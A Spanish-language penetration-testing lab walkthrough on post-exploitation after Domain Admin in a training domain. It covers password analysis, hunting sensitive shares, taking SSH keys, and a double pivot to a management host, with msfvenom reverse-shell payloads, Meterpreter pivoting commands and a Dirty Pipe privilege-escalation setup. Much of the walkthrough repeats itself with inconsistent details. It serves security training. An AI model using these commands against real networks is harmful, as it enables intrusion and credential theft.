Una vez que hayamos comprometido el dominio, dependiendo del tipo de evaluación, nuestro trabajo no termina. Hay muchas cosas que podemos hacer para agregar valor adicional a nuestros clientes. Si el objetivo de la evaluación era alcanzar el nivel Domain Admin y nada más, entonces hemos terminado y debemos asegurarnos de tener todos los resultados de comandos/registros, datos de escaneo y capturas de pantalla, y continuar elaborando el informe.
Si la evaluación se centró en un objetivo (es decir, obtener acceso a una base de datos específica), debemos seguir trabajando para lograrlo. Los derechos de administrador del dominio pueden ser solo el comienzo, ya que podría haber otras redes, dominios o bosques en juego a los que tendremos que acceder. Si la evaluación es más abierta y el cliente nos pidió que demostráramos el mayor impacto posible, hay varias cosas que podemos hacer para agregar valor y ayudarlos a mejorar su seguridad.
Análisis de contraseñas de dominio: descifrado de NTDS
Tras descargar la base de datos NTDS, podemos descifrar contraseñas sin conexión con Hashcat. Una vez agotadas todas las reglas y listas de palabras posibles en nuestro equipo de descifrado, deberíamos usar una herramienta como para realizar un análisis de contraseñas de dominio. Esto puede complementar de forma eficaz hallazgos como Weak Active Directory Passwords Allowed que anotamos tras un ataque de rociado de contraseñas exitoso. Este análisis puede ayudar a aclarar el punto y puede ser una herramienta visual muy útil. Nuestro análisis puede incluirse en los apéndices del informe con métricas como:
Número de hashes de contraseña obtenidos
Número de hashes de contraseñas descifrados
Porcentaje de hashes de contraseñas descifrados
Las 10 mejores contraseñas
Desglose de la longitud de la contraseña
Número de contraseñas de administrador de dominio descifradas
Número de contraseñas de administrador empresarial descifradas
Auditoría de seguridad de Active Directory
Como se explicó en el módulo , podemos ofrecer un valor añadido a nuestros clientes profundizando en Active Directory, encontrando recomendaciones de buenas prácticas y presentándolas en los apéndices de nuestro informe.
La herramienta es excelente para auditar la seguridad general del dominio y, a partir del informe que genera, podemos extraer diversos elementos para ofrecer a nuestros clientes recomendaciones sobre cómo reforzar su entorno de AD. Este tipo de trabajo, que va más allá de lo esperado, puede generar confianza con nuestros clientes y generar clientes recurrentes y recomendaciones. Es una excelente manera de diferenciarnos, demostrar los riesgos que afectan a los entornos de AD y demostrar nuestro profundo conocimiento de la red del cliente.
Búsqueda de datos/hosts confidenciales
Una vez que accedamos al controlador de dominio, probablemente podamos acceder a la mayoría de los recursos del dominio. Si queremos demostrar el impacto para nuestros clientes, un buen punto de partida es revisar los recursos compartidos de archivos para ver qué otros tipos de datos podemos ver.
afsh4ck@kali$ proxychains evil-winrm -i 172.16.8.3 -u administrator -H fd1f7e556xxxxxxxxxxxddbb6e6afa2
ProxyChains-3.1 (http://proxychains.sf.net)
<SNIP>
Evil-WinRM* PS C:\Users\Administrator\desktop> cd c:\
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/1/2022 11:34 AM Department Shares
d----- 9/15/2018 12:12 AM PerfLogs
d-r--- 12/14/2020 6:43 PM Program Files
d----- 9/15/2018 12:21 AM Program Files (x86)
d-r--- 6/1/2022 11:07 AM Users
d----- 6/1/2022 11:10 AM Windows
Regresemos al recurso compartido Department Shares y veamos qué más podemos encontrar.
*Evil-WinRM* PS C:\> cd "Department Shares"
*Evil-WinRM* PS C:\Department Shares> dir
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
Directory: C:\Department Shares
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/1/2022 11:34 AM Accounting
d----- 6/1/2022 11:34 AM Executives
d----- 6/1/2022 11:34 AM Finance
d----- 6/1/2022 11:33 AM HR
d----- 6/1/2022 11:33 AM IT
d----- 6/1/2022 11:33 AM Marketing
d----- 6/1/2022 11:33 AM R&D
Dependiendo del sector y el negocio del cliente, existen diversos aspectos que podemos analizar para demostrar el impacto. Los datos de RR. HH., como salarios y bonificaciones, deben estar bien protegidos. La información de I+D podría perjudicar a una empresa si se filtra, por lo que deben implementar controles adicionales.
Es recomendable no permitir que los administradores de dominio tengan acceso general a todos los datos, ya que si una cuenta se ve comprometida, se comprometerá todo. Algunas empresas cuentan con un sitio web independiente, un recurso compartido de archivos o un servidor de respaldo no perteneciente al dominio para almacenar datos confidenciales. En nuestro caso, Inlanefreight nos solicitó que probáramos si podemos acceder a algún host de la subred 172.16.9.0/23. Esta es su red de administración y alberga servidores confidenciales a los que no se debería acceder directamente desde los hosts del dominio principal, y obtener derechos de administrador de dominio no debería implicar un acceso inmediato.
Dentro del recurso compartido de IT privado, podemos ver dos subdirectorios: Development y Networking. El subdirectorio Development contiene el script de copia de seguridad que obtuvimos anteriormente. Analicemos el subdirectorio Networking.
*Evil-WinRM* PS C:\Department Shares\IT\Private> ls
Directory: C:\Department Shares\IT\Private
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/1/2022 11:34 AM Development
d----- 6/1/2022 11:34 AM Networking
*Evil-WinRM* PS C:\Department Shares\IT\Private\Networking> ls
Directory: C:\Department Shares\IT\Private\Networking
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/1/2022 11:34 AM 1706 harry-id_rsa
-a---- 6/1/2022 11:34 AM 1702 james-id_rsa
-a---- 6/1/2022 11:34 AM 1706 ssmallsadm-id_rsa
Podemos ver las claves privadas SSH de tres usuarios diferentes, destacando el del usuario ssmallsadm (que parece un administrador) . Esto es interesante.
¿Es posible aprovechar alguno de estos usuarios para acceder a un host en la red protegida?
Adaptadores de red interna
Al observar los adaptadores de red en los controladores de dominio, podemos ver que tiene una segunda NIC en la red 172.16.9.0.
Escribir arp -a para ver la tabla arp no arroja resultados interesantes. Podemos usar PowerShell para realizar un ping sweep e intentar identificar hosts activos.
Vemos un host activo, 172.16.9.25, con el que quizás funcione una de las claves privadas SSH. ¡Manos a la obra! Primero, descarguemos las claves SSH mediante nuestra conexión evil-winrm al controlador de dominio.
Ahora bien, hay varias maneras de realizar la siguiente parte. Tomaremos la ruta larga para poder acceder por SSH directamente al host 172.16.9.25 desde nuestra máquina de ataque, realizando un doble pivoting complejo en el proceso.
Esto es lo que intentamos lograr: comenzamos desde nuestro host de ataque y pivotamos a través de los hosts dmz01 y DC01 para poder acceder por SSH directamente al host MGMT01, a dos saltos de distancia.
Máquina atacante--> dmz01--> DC01-->MGMT01
afsh4ck@kali$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.15.191 LPORT=443 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Capturamos el shell Meterpreter usando multi/handler:
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> exploit
[*] Started reverse TCP handler on 10.10.14.15:443
[*] Sending stage (989032 bytes) to 10.129.203.111
[*] Meterpreter session 1 opened (10.10.14.15:443 -> 10.129.203.111:58462 ) at 2022-06-21 21:28:43 -0400
(Meterpreter 1)(/tmp) > getuid
Server username: root
A continuación, configuramos una regla de Port Forwarding local para reenviar todo el tráfico destinado al puerto 1234 en dmz01 al puerto 8443 en nuestro host de ataque.
A continuación, creamos un payload ejecutable que cargaremos en el controlador de dominio.
afsh4ck@kali$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 -f exe -o dc_shell.exe LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: dc_shell.exe
Subimos el payload al Domain Controller mediante la sesión de Evil-WinRM:
*Evil-WinRM* PS C:\> upload "/home/kali/Escritorio/machines/htb/academy/enterprise/dc_shell.exe"
Info: Uploading /home/kali/Escritorio/machines/htb/academy/enterprise/dc_shell.exe to C:\\dc_shell.exe
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:5985 ... OK
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
Al revisar nuestro multi handler, vemos la conexión entrante. Parece provenir de 0.0.0.0 porque nuestra regla de Port Forwarding, establecida anteriormente, especificó que todo el tráfico destinado a nuestro host en el puerto 1234 debe dirigirse a nuestro receptor en el puerto 8443.
[*] Started reverse TCP handler on 0.0.0.0:8443
[*] Sending stage (200262 bytes) to 10.10.14.15
[*] Meterpreter session 2 opened (10.10.14.15:8443 -> 10.10.14.15:46313 ) at 2022-06-22 21:36:20 -0400
meterpreter > getuid
Server username: INLANEFREIGHT\Administrator
meterpreter > sysinfo
Computer : DC01
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : INLANEFREIGHT
Logged On Users : 3
Meterpreter : x64/windows
Para nuestro próximo truco, configuraremos una ruta a la subred 172.16.9.0/23.
(Meterpreter 2)(C:\) > run autoroute -s 172.16.9.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.9.0/255.255.254.0...
[+] Added route to 172.16.9.0/255.255.254.0 via 10.10.14.15
[*] Use the -p option to list all active routes
Podemos confirmarlo comprobando la tabla de enrutamiento de MSF:
Ahora necesitamos configurar un proxy Socks, que es el paso final antes de que podamos comunicarnos directamente con la red 172.16.9.0/23 desde nuestro host de ataque.
[msf](Jobs:0 Agents:2) exploit(multi/handler) >> use auxiliary/server/socks_proxy
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set srvport 9050
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set version 4a
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> run
[*] Auxiliary module running as background job 0.
[msf](Jobs:1 Agents:2) auxiliary(server/socks_proxy) >>
[*] Starting the SOCKS proxy server
Editamos el archivo /etc/proxychains4.conf para usar el puerto 9050 especificado anteriormente. Si ya tienes una línea anterior, coméntala o reemplaza el número de puerto.
# defaults set to "tor"
#socks4 127.0.0.1 9050
#socks4 127.0.0.1 8081
socks4 127.0.0.1 9050
Ahora podemos probar esto ejecutando Nmap contra el objetivo y confirmamos que podemos escanearlo.
afsh4ck@kali$ proxychains nmap -sT -p 22 172.16.9.25
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 21:42 EDT
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.9.25:80-<--denied
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.9.25:22-<><>-OK
Nmap scan report for 172.16.9.25
Host is up (1.1s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds
Finalmente, podemos probar cada clave SSH con proxychains para intentar conectarnos al host. Podemos recopilar cada nombre de usuario por el nombre de archivo de la clave SSH. En nuestro caso, la clave ssmallsadm funciona.
No olvides dar permisos chmod 600 al archivo id_rsa o no podremos conectarnos.
afsh4ck@kali$ proxychains ssh -i ssmallsadm-id_rsa ssmallsadm@172.16.9.25
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.9.25:22-<><>-OK
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.10.0-051000-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 23 Jun 2022 01:48:14 AM UTC
System load: 0.0 Processes: 231
Usage of /: 27.9% of 13.72GB Users logged in: 0
Memory usage: 14% IPv4 address for ens192: 172.16.9.25
Swap usage: 0%
159 updates can be applied immediately.
103 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon May 23 08:48:13 2022 from 172.16.0.1
Como paso final, enumeraremos el sistema objetivo y comprobaremos si existen oportunidades de escalada de privilegios locales. Si logramos obtener acceso root, habremos cumplido el objetivo principal del cliente, ya que afirmó que este servidor alberga sus datos más importantes.
Elevación de privilegios
ssmallsadm@MGMT01:~$ uname -a
Linux MGMT01 5.10.0-051000-generic #202012132330 SMP Sun Dec 13 23:33:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Debemos ejecutar el exploit contra un binario SUID para inyectar y sobrescribir memoria en un proceso raíz. Primero, debemos buscar los binarios SUID en el sistema.
Desde aquí podríamos realizar una post-explotación del sistema de archivos para demostrar el nivel de acceso que logramos.
Simulación de exfiltración de datos
Algunos clientes podrían querer probar sus capacidades Data Loss Prevention(DLP), por lo que podríamos experimentar con diversas maneras de extraer datos ficticios de su red para ver si nos detectan. Debemos colaborar con el cliente para comprender qué tipos de datos intenta proteger y proceder en consecuencia. Es mejor usar datos ficticios para no tener que gestionar datos altamente sensibles del cliente en nuestro sistema de pruebas.
Ataque a Domain Trusts
Si existen confianzas de dominio, podríamos usar nuestras habilidades para enumerar estas relaciones y explotar una relación de confianza entre dominios secundarios y primarios, una confianza dentro del bosque o una confianza externa. Antes de hacerlo, debemos verificar con el cliente que el dominio objetivo esté dentro del alcance de las pruebas. En ocasiones, comprometemos un dominio menos importante y podemos usar este acceso para controlar completamente el dominio principal.
Esto puede ser muy valioso para el cliente, ya que podría haber establecido relaciones de confianza precipitadamente como resultado de una fusión y adquisición o de la conexión con otra organización. Su dominio puede estar bien protegido, pero ¿qué sucede si logramos aplicar Kerberoast a una confianza de bosque, comprometemos un bosque asociado y luego encontramos una cuenta en el bosque asociado con derechos de administrador completos en nuestro dominio actual? En esta situación, podríamos demostrarle a nuestro cliente que la principal debilidad no reside en el dominio en el que estamos realizando las pruebas, sino en otro, para que pueda proceder en consecuencia.
Reflexiones finales
Esta sección mostró una muestra de lo que podemos hacer en post-explotación para obtener la Administración de Dominio en un entorno de cliente. Presenciar, dominar al cliente y presumir de la rapidez con la que se obtuvo el Domain Admin no beneficia al cliente ni ayuda a usted ni a su empresa a retener clientes ni a crear una sólida reputación. Lo que hacemos después de obtener la Administración de Dominio es extremadamente importante y es aquí donde podemos diferenciarnos de otros pentesters que simplemente ejecutan Responder, algunas otras herramientas y scripts, un análisis de Nessus, emiten un informe de inventario y listo.
El informe debe demostrar el valor de la prueba de penetración por la que su cliente está pagando, y podemos asegurarnos de que esté satisfecho y vuelva en los próximos años si superamos las expectativas. Esto no siempre es posible debido a las restricciones contractuales y las evaluaciones con plazos limitados, pero incluso si podemos ofrecer un pequeño extra, estamos a la vanguardia. Tenga en cuenta que los aspectos que identificamos en nuestro informe pueden afectar la financiación de un cliente para el año siguiente, y es probable que dicha financiación incluya pruebas de penetración. No queremos inflar el informe con hallazgos sin sentido, por supuesto, pero a menudo podemos identificar muchas cosas que nuestro cliente ni siquiera había considerado y tanto él como usted saldrán beneficiados por ello.
Caso práctico
Objetivo: 10.129.229.147
Pregunta 1
Obtén acceso al host MGMT01 y envíe el contenido del archivo flag.txt en el directorio de inicio de un usuario.
Obtener id_rsa de los usuarios
En los Department Shares encontramos el id_rsa del usuario administrador ssmallsadm:
Evil-WinRM* PS C:\Department Shares\IT\Private\Networking> ls
Directory: C:\Department Shares\IT\Private\Networking
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/1/2022 11:34 AM 1706 harry-id_rsa
-a---- 6/1/2022 11:34 AM 1702 james-id_rsa
-a---- 6/1/2022 11:34 AM 1706 ssmallsadm-id_rsa
Lo leemos con type y lo copiamos a un archivo en nuestro Kali:
afsh4ck@kali$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.15.191 LPORT=443 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
A continuación, creamos un payload ejecutable que cargaremos en el controlador de dominio.
afsh4ck@kali$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 -f exe -o dc_shell.exe LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: dc_shell.exe
Subimos el payload al DC.
*Evil-WinRM* PS C:\> upload "/home/kali/Escritorio/machines/htb/academy/enterprise/dc_shell.exe"
Info: Uploading /home/kali/Escritorio/machines/htb/academy/enterprise/dc_shell.exe to C:\\dc_shell.exe
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:5985 ... OK
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
Llevamos la sesión de Meterpreter al background:
meterpreter > bg
[*] Backgrounding session 1...
Iniciamos otro multi/handler en la misma sesión msfconsole para capturar el shell del DC.
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> set lhost 0.0.0.0
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> set lport 8443
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> exploit
Ejecutamos el payload en el DC y, si todo va según lo planeado, la capturaremos en nuestro listener.
[*] Started reverse TCP handler on 0.0.0.0:8443
[*] Sending stage (200262 bytes) to 10.10.14.15
[*] Meterpreter session 2 opened (10.10.14.15:8443 -> 10.10.14.15:46313 ) at 2022-06-22 21:36:20 -0400
meterpreter > getuid
Server username: INLANEFREIGHT\Administrator
meterpreter > sysinfo
Computer : DC01
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : INLANEFREIGHT
Logged On Users : 3
Meterpreter : x64/windows
Configurar ruta a la subred 172.16.9.0/23
meterpreter > run autoroute -s 172.16.9.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.9.0/255.255.254.0...
[+] Added route to 172.16.9.0/255.255.254.0 via 10.10.15.191
[*] Use the -p option to list all active routes
[msf](Jobs:0 Agents:2) exploit(multi/handler) >> use auxiliary/server/socks_proxy
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set srvport 9050
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set version 4a
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> run
[*] Auxiliary module running as background job 0.
[msf](Jobs:1 Agents:2) auxiliary(server/socks_proxy) >>
[*] Starting the SOCKS proxy server
Editar archivo de configuración de proxychains
Editamos el archivo /etc/proxychains4.conf para usar el puerto 9050 especificado anteriormente. Podemos comentar la línea anterior que ya teníamos:
# defaults set to "tor"
#socks4 127.0.0.1 9050
#socks4 127.0.0.1 8081
socks4 127.0.0.1 9050
Comprobación
afsh4ck@kali$ proxychains nmap -sT -Pn -p 22 172.16.9.25
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 20:06 CEST
Nmap scan report for 172.16.9.25
Host is up.
PORT STATE SERVICE
22/tcp filtered ssh
Como se explicó en el módulo , debemos asegurarnos de tomar capturas de pantalla que muestren la lista de archivos si encontramos un recurso compartido particularmente sensible, y no abrir archivos individuales, tomar capturas de pantalla ni eliminar archivos de la red.
Necesitaremos establecer un reverse shell desde el host dmz01 hasta nuestro host de ataque. Podemos hacerlo de la misma manera que en la sección : crear un payload ELF, subirlo al objetivo y ejecutarlo para capturar un shell. Comenzamos creando el payload ELF y subiéndolo al host dmz01 mediante SCP.
Durante nuestra enumeración, realizamos una búsqueda en Google basada en la versión del kernel y observamos que probablemente sea vulnerable a CVE-2022-0847 . Podemos encontrar una excelente explicación de esta vulnerabilidad en el .
Usaremos exploit-2 de . Como tenemos acceso SSH al sistema, podemos crear un archivo dirtypipe.c con Vim, copiar el código del exploit y pegarlo. Luego debemos compilarlo y, por suerte, gcc ya está presente en el sistema.
